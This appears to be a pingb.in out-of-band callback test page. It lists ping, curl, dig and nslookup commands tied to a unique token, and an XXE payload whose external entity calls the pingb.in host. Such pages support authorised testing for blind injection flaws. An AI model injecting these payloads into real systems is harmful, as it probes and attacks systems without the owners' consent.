$ ping -c1 -p 00c4747aad56c71b3876085e7a481c00 pingb.in
 
$ curl pingb.in/p/c4747aad56c71b3876085e7a481c
 
$ dig c4747aad56c71b3876085e7a481c @pingb.in
 
$ dig c4747aad56c71b3876085e7a481c.ns.pingb.in
 
C:\> nslookup c4747aad56c71b3876085e7a481c pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/c4747aad56c71b3876085e7a481c">]>
    <foo>&xxe;</foo>
 
Waiting for ping...